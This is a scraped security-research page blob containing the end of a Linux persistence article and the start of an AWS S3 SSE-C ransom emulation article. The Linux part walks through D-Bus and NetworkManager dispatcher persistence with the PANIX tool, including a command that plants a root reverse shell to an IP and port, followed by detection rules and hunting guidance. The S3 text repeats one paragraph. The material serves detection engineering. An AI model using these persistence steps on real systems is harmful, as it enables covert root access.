\",(0,i.jsx)(e.code,{children:\"org.panix.persistence.service\"}),\", \",(0,i.jsx)(e.code,{children:\"dbus-panix.sh\"}),\", and \",(0,i.jsx)(e.code,{children:\"org.panix.persistence.conf\"}),\" files are created, successfully setting the stage. Afterwards, the \",(0,i.jsx)(e.code,{children:\"dbus\"}),\" service is restarted, and the dbus-send command is executed to interact with the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence\"}),\" service. Upon invocation of the \",(0,i.jsx)(e.code,{children:\"org.panix.persistence.Method\"}),\" method, the \",(0,i.jsx)(e.code,{children:\"dbus-panix.sh\"}),\" backdoor is executed, and the reverse shell connection chain (\",(0,i.jsx)(e.code,{children:\"dbus-panix.sh\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"bash\"}),\") is initiated.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s take a look at our detection opportunities:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover D-Bus persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/fb13b89f8d277ee78d4027a8014ad67023aa167c/rules/linux/persistence_dbus_service_creation.toml\",rel:\"nofollow\",children:\"D-Bus Service Created\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_suspicious_d_bus_method_call.toml\",rel:\"nofollow\",children:\"Suspicious D-Bus Method Call\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/rules/linux/persistence_dbus_unsual_daemon_parent_execution.toml\",rel:\"nofollow\",children:\"Unusual D-Bus Daemon Child Process\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"To revert any changes, you can use the corresponding revert module by running:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert dbus\n\n[*] Reverting D-Bus persistence module...\n[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...\n[+] D-Bus service file removed.\n[+] Removing payload script: /usr/local/bin/dbus-panix.sh\n[+] Payload script removed.\n[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...\n[+] D-Bus configuration file removed.\n[*] Restarting D-Bus...\n[+] D-Bus restarted successfully.\n[+] D-Bus persistence reverted.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1543---create-or-modify-system-process-d-bus\",children:\"Hunting for T1543 - Create or Modify System Process: D-Bus\"}),`\n`,(0,i.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or Modifications to D-Bus Configuration and Service Files\"}),\": Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Metadata Analysis of D-Bus Files\"}),\": Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Detection of Suspicious Processes\"}),\": Monitors executions of processes such as \",(0,i.jsx)(e.code,{children:\"dbus-daemon\"}),\" and \",(0,i.jsx)(e.code,{children:\"dbus-send\"}),\", which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Detection of Rare or Anomalous Events\"}),\": Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_desktop_bus.toml\",rel:\"nofollow\",children:\"Persistence via Desktop Bus (D-Bus)\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/\",rel:\"nofollow\",children:\"T1543\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"t1546---event-triggered-execution-networkmanager\",children:\"T1546 - Event Triggered Execution: NetworkManager\"}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://wiki.archlinux.org/title/NetworkManager\",rel:\"nofollow\",children:\"NetworkManager\"}),\" is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its \",(0,i.jsx)(e.a,{href:\"https://wiki.archlinux.org/title/NetworkManager#Network_services_with_NetworkManager_dispatcher\",rel:\"nofollow\",children:\"dispatcher\"}),\" feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged.\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Event Types\"}),\": NetworkManager passes specific events to scripts, such as:\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"up\"}),\": Interface is activated.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"down\"}),\": Interface is deactivated.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"vpn-up\"}),\": VPN connection is established.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"vpn-down\"}),\": VPN connection is disconnected.\"]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Scripts placed in \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/\"}),\" are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`#!/bin/bash\nINTERFACE=$1\nEVENT=$2\n\nif [ \"$EVENT\" == \"up\" ]; then\n logger \"Interface $INTERFACE is up. Executing custom script.\"\n # Perform actions, such as logging, mounting, or starting services\n /usr/bin/some-command --arg value\nelif [ \"$EVENT\" == \"down\" ]; then\n logger \"Interface $INTERFACE is down. Cleaning up.\"\n # Perform cleanup actions\nfi\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Logging events and executing commands whenever a network interface comes up or goes down.\"}),`\n`,(0,i.jsx)(e.p,{children:\"To achieve persistence through this technique, an attacker can either:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Create a custom script, mark it executable and place it within the dispatcher directory\"}),`\n`,(0,i.jsx)(e.li,{children:\"Modify a legitimate dispatcher script to execute a payload upon a certain network event.\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Persistence through \",(0,i.jsx)(e.code,{children:\"dispatcher.d/\"}),\" aligns with \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1546/\",rel:\"nofollow\",children:\"T1546: Event Triggered Execution\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1543/\",rel:\"nofollow\",children:\"T1543: Create or Modify System Process\"}),\" in the MITRE ATT\u0026CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"In the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering.\"}),`\n`,(0,i.jsx)(e.h1,{id:\"persistence-through-t1546---event-triggered-execution\",children:\"Persistence through T1546 - Event Triggered Execution:\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The concept of this technique is very simple, let\\u2019s now put it to practice through the \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_network_manager.sh\",rel:\"nofollow\",children:\"setup_network_manager.sh\"}),\" PANIX module. The module checks whether the NetworkManager package is available, and whether the \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/\"}),\" path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh\"}),\", with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`cat \u003c\u003c'EOF' \u003e \"$dispatcher_file\"\n#!/bin/sh -e\n\nif [ \"$2\" = \"connectivity-change\" ]; then\n\texit 0\nfi\n\nif [ -z \"$1\" ]; then\n\techo \"$0: called with no interface\" 1\u003e\u00262\n\texit 1\nfi\n\n[...]\n\n# Insert payload here:\n__PAYLOAD_PLACEHOLDER__\nEOF\n\nchmod +x \"$dispatcher_file\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"We have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Let\\u2019s run the PANIX module with the following command line arguments:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017\n\n[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh\n[+] Replaced payload placeholder with actual payload.\n[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"Now, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let\\u2019s take a look at the documents in Kibana:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/the-grand-finale-on-linux-persistence/image1.png\",alt:\"PANIX network-manager module execution visualized in Kibana\",width:\"1667\",height:\"1322\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Upon PANIX execution, the \",(0,i.jsx)(e.code,{children:\"panix-dispatcher.sh\"}),\" script is created, marked as executable and \",(0,i.jsx)(e.code,{children:\"sed\"}),\" is used to add the payload to the bottom of the script. Upon restarting the \",(0,i.jsx)(e.code,{children:\"NetworkManager\"}),\" service through \",(0,i.jsx)(e.code,{children:\"systemctl\"}),\", we can see \",(0,i.jsx)(e.code,{children:\"nm-dispatcher\"}),\" executing the \",(0,i.jsx)(e.code,{children:\"panix-dispatcher.sh\"}),\" script, effectively detonating the reverse shell chain (\",(0,i.jsx)(e.code,{children:\"panix-dispatcher.sh\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"nohup\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"setsid\"}),\" \\u2192 \",(0,i.jsx)(e.code,{children:\"bash\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:\"And finally, let\\u2019s take a look at our detection opportunities:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Detection and endpoint rules that cover network-manager persistence\"})}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{align:\"left\",children:\"Category\"}),(0,i.jsx)(e.th,{align:\"left\",children:\"Coverage\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"File\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/9b8b9175985ed533493e2c9dc4dc17ee8bf9e704/rules/linux/persistence_network_manager_dispatcher_persistence.toml\",rel:\"nofollow\",children:\"NetworkManager Dispatcher Script Creation\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/ac541f0b18697e053b3b56544052955d29b440c0/rules/integrations/fim/persistence_suspicious_file_modifications.toml\",rel:\"nofollow\",children:\"Potential Persistence via File Modification\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Process\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_shell_via_networkmanager_dispatcher_script.toml\",rel:\"nofollow\",children:\"Shell via NetworkManager Dispatcher Script\"})})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{align:\"left\",children:\"Network\"}),(0,i.jsx)(e.td,{align:\"left\",children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/execution_reverse_shell_via_networkmanager_dispatcher_script.toml\",rel:\"nofollow\",children:\"Reverse Shell via NetworkManager Dispatcher Script\"})})]})]})]})}),`\n`,(0,i.jsx)(e.p,{children:\"To revert any changes, you can use the corresponding revert module by running:\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`\u003e ./panix.sh --revert network-manager\n\n[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...\n[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.\n[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...\n[+] Custom dispatcher file removed.\n[+] NetworkManager persistence reverted.\n`})}),`\n`,(0,i.jsx)(e.h1,{id:\"hunting-for-t1546---event-triggered-execution-networkmanager\",children:\"Hunting for T1546 - Event Triggered Execution: NetworkManager\"}),`\n`,(0,i.jsx)(e.p,{children:\"We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Creations and/or Modifications to Dispatcher Scripts\"}),\": Tracks changes within the \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/\"}),\" directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Detection of Suspicious Processes\"}),\": Monitors processes executed by \",(0,i.jsx)(e.code,{children:\"nm-dispatcher\"}),\" or scripts located in \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/\"}),\". By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified.\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:\"Metadata Analysis of Dispatcher Scripts\"}),\": Inspects ownership, last access times, and modification timestamps for files in \",(0,i.jsx)(e.code,{children:\"/etc/NetworkManager/dispatcher.d/\"}),\". This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts.\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"By combining the \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/1851ab91fdb84ac2c1fc9bf9d0663badadd0d0a7/hunting/linux/queries/persistence_via_network_manager_dispatcher_script.toml\",rel:\"nofollow\",children:\"Persistence via NetworkManager Dispatcher Script\"}),\" hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1546/\",rel:\"nofollow\",children:\"T1546\"}),\".\"]}),`\n`,(0,i.jsx)(e.h1,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsx)(e.p,{children:'In the fifth and concluding chapter of the \"Linux Detection Engineering\" series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence, followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios.'}),`\n`,(0,i.jsxs)(e.p,{children:[\"Throughout this series, \",(0,i.jsx)(e.a,{href:\"https://github.com/Aegrah/PANIX\",rel:\"nofollow\",children:\"PANIX\"}),\" played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting!\"})]})}function k(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(d,n)})):d(n)}var x=k;return w(_);})();\n;return Component;"},"_id":"articles/the-grand-finale-on-linux-persistence.mdx","_raw":{"sourceFilePath":"articles/the-grand-finale-on-linux-persistence.mdx","sourceFileName":"the-grand-finale-on-linux-persistence.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/the-grand-finale-on-linux-persistence"},"type":"Article","imageUrl":"/assets/images/the-grand-finale-on-linux-persistence/Security Labs Images 5.jpg","readingTime":"48 min read","series":"","url":"/the-grand-finale-on-linux-persistence","headings":[],"author":[{"title":"Ruben Groenewoud","slug":"ruben-groenewoud","description":"Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},a=(e,t,n,u)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let o of g(t))!l.call(e,o)\u0026\u0026o!==n\u0026\u0026s(e,o,{get:()=\u003et[o],enumerable:!(u=d(t,o))||u.enumerable});return e};var p=(e,t,n)=\u003e(n=e!=null?x(f(e)):{},a(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),b=e=\u003ea(s({},\"__esModule\",{value:!0}),e);var i=_((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003eh,frontmatter:()=\u003ew});var r=p(i()),w={title:\"Ruben Groenewoud\",description:\"Security Research Engineer, Elastic\",slug:\"ruben-groenewoud\"};function m(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(m,e)})):m(e)}var h=M;return b(y);})();\n;return Component;"},"_id":"authors/ruben-groenewoud.mdx","_raw":{"sourceFilePath":"authors/ruben-groenewoud.mdx","sourceFileName":"ruben-groenewoud.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/ruben-groenewoud"},"type":"Author","imageUrl":"","url":"/authors/ruben-groenewoud"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Emulating AWS S3 SSE-C Ransom for Threat Detection","slug":"emulating-aws-s3-sse-c","date":"2025-02-20","description":"In this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations.","image":"Security Labs Images 11.jpg","subtitle":"Understanding and Detecting Ransom Using AWS S3’ SSE-C Service","body":{"raw":"\n# Preamble\n\nWelcome to another installment of AWS detection engineering with Elastic. You can read the previous installment on [STS AssumeRoot here](https://www.elastic.co/security-labs/exploring-aws-sts-assumeroot). \n\nIn this article, we’ll explore how threat actors leverage Amazon S3’s Server-Side Encryption with Customer-Provided Keys (SSE-C) for ransom/extortion operations. This contemporary abuse tactic demonstrates the creative ways adversaries can exploit native cloud services to achieve their monetary goals.\n\nAs a reader, you’ll gain insights into the inner workings of S3, SSE-C workflows, and bucket configurations. We’ll also walk through the steps of this technique, discuss best practices for securing S3 buckets, and provide actionable guidance for crafting detection logic to identify SSE-C abuse in your environment.\n\nThis research builds on a recent [publication](https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c) by the Halcyon Research Team, which documented the first publicly known case of in-the-wild (ItW) abuse of SSE-C for ransomware behavior. Join us as we dive deeper into this emerging threat and demonstrate how to stay ahead of adversaries. \n\nWe have published a [gist](https://gist.github.com/terrancedejesus/f703a4a37a70d005080950a418422ac9) containing the Terraform code and emulation script referenced in this blog. This content is provided for educational and research purposes only. Please use it responsibly and in accordance with applicable laws and guidelines. Elastic assumes no liability for any unintended consequences or misuse.\n\nDo enjoy!\n\n# Understanding AWS S3: Key Security Concepts and Features\n\nBefore we dive directly into emulation and these tactics, techniques, and procedures (TTPs), let’s briefly review what AWS S3 includes.\n\nS3 is AWS’ common storage service that allows users to store any unstructured or structured data in “buckets”. These buckets are similar to folders that one would find locally on their computer system. The data stored in these buckets are called [objects](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingObjects.html), and each object is uniquely identified by an object key, which functions like a filename. S3 supports many data formats, from JSON to media files and much more, making it ideal for a variety of organizational use cases.\n\n[Buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html) can be [set up](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions.\n[Buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingBucket.html) can be [set up](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) to store objects from various AWS S3 services, but they can also be populated manually or programmatically depending on the use case. Additionally, buckets can leverage versioning to maintain multiple versions of objects, which provides resilience against accidental deletions or overwrites. However, versioning is not always enabled by default, leaving data vulnerable to certain types of attacks, such as those involving ransomware or bulk deletions.\n\nAccess to these buckets depends heavily on their access policies, typically defined during creation. These policies include settings such as disabling public access to prevent unintended exposure of bucket contents. Configuration doesn’t stop there, though; buckets also have their own unique Amazon Resource Name (ARN), which allows further granular access policies to be defined via identity access management (IAM) roles or policies. For example, if user “Alice” needs access to a bucket and its objects, specific permissions such as `s3:GetObject`, must be assigned to their IAM role. That role can either be applied directly to Alice as a permission policy or to an associated group they belong to.\n\nWhile these mechanisms seem foolproof, misconfigurations in access controls (e.g., overly permissive bucket policies or access control lists) are a common cause of security incidents. For example, as of this writing, approximately 325.8k buckets are publicly available according to [buckets.grayhatwarfare.com](http://buckets.grayhatwarfare.com). Elastic Security Labs also observed that 30% of failed AWS posture checks were connected to S3 in the [2024 Elastic Global Threat Report](https://www.elastic.co/resources/security/report/global-threat-report). \n\n**Server-Side Encryption in S3** \nS3 provides [multiple encryption options](https://docs.aws.amazon.com/AmazonS3/latest/userguide/bucket-encryption.html) for securing data at rest. These include:\n\n* [SSE-S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingServerSideEncryption.html): Encryption keys are fully managed by AWS. \n* [SSE-KMS](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingKMSEncryption.html): Keys are managed through AWS Key Management Service (KMS), allowing for more custom key policies and access control — see how these are [implemented in Elastic](https://www.elastic.co/blog/encryption-at-rest-elastic-cloud-aws-kms). \n* [SSE-C](https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html): Customers provide their own encryption keys for added control. This option is often used for compliance or specific security requirements but introduces additional operational overhead, such as securely managing and storing keys. Importantly, AWS does not store SSE-C keys; instead, a key’s HMAC (hash-based message authentication code) is logged for verification purposes.\n\nIn the case of SSE-C, mismanagement of encryption keys or intentional abuse (e.g., ransomware) can render data permanently inaccessible.\n\n**Lifecycle Policies**\n\nS3 buckets can also utilize [lifecycle policies](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html), which automate actions such as transitioning objects to cheaper storage classes (e.g., Glacier) or deleting objects after a specified time. While these policies are typically used for cost optimization, they can be exploited by attackers to schedule the deletion of critical data, increasing pressure during a ransom incident.\n\n**Storage Classes**\n\nAmazon S3 provides multiple [storage classes](https://docs.aws.amazon.com/AmazonS3/latest/userguide/storage-class-intro.html), each designed for different access patterns and frequency needs. While storage classes are typically chosen for cost optimization, understanding them is crucial when considering how encryption and security interact with data storage.\n\nFor example, S3 Standard and Intelligent-Tiering ensure frequent access with minimal latency, making them suitable for live applications. On the other hand, archival classes like Glacier Flexible Retrieval and Deep Archive introduce delays before data can be accessed, which can complicate incident response in security scenarios.\n\nThis becomes particularly relevant when encryption is introduced. Server-Side Encryption (SSE) works across all storage classes, but SSE-C (Customer-Provided Keys) shifts the responsibility of key management to the user or adversary. Unlike AWS-managed encryption (SSE-S3, SSE-KMS), SSE-C requires that every retrieval operation supplies the original encryption key — and if that key is lost or not given by an adversary, the data is permanently unrecoverable.\n\nWith this understanding, a critical question arises about the implications of SSE-C abuse observed in the wild: What happens when an attacker gains access to publicly exposed or misconfigured S3 buckets and has control over both the storage policy and encryption keys?\n\n# Thus Begins: SSE-C Abuse for Ransom Operations\n\nIn the following section, we will share a hands-on approach to emulating this behavior in our sandbox AWS environment by completing the following:\n\n1. Deploy vulnerable infrastructure via Infrastructure-as-Code (IaC) provider Terraform \n2. Explore how to craft SSE-C requests in Python \n3. Detonate a custom script to emulate the ransom behavior described in the Halcyon blog\n\n## Pre-requisites\n\nThis article is about recreating a specific scenario for detection engineering. If this is your goal, the following needs to be established first.\n\n* [Terraform](https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli) must be installed locally \n* Python 3.9+ must also be installed locally to be used for the virtual environment and to run an emulation script \n* [AWS CLI](https://aws.amazon.com/cli/) profile must be set up with administrative privileges to be used by Terraform during infrastructure deployment\n\n# Deploying 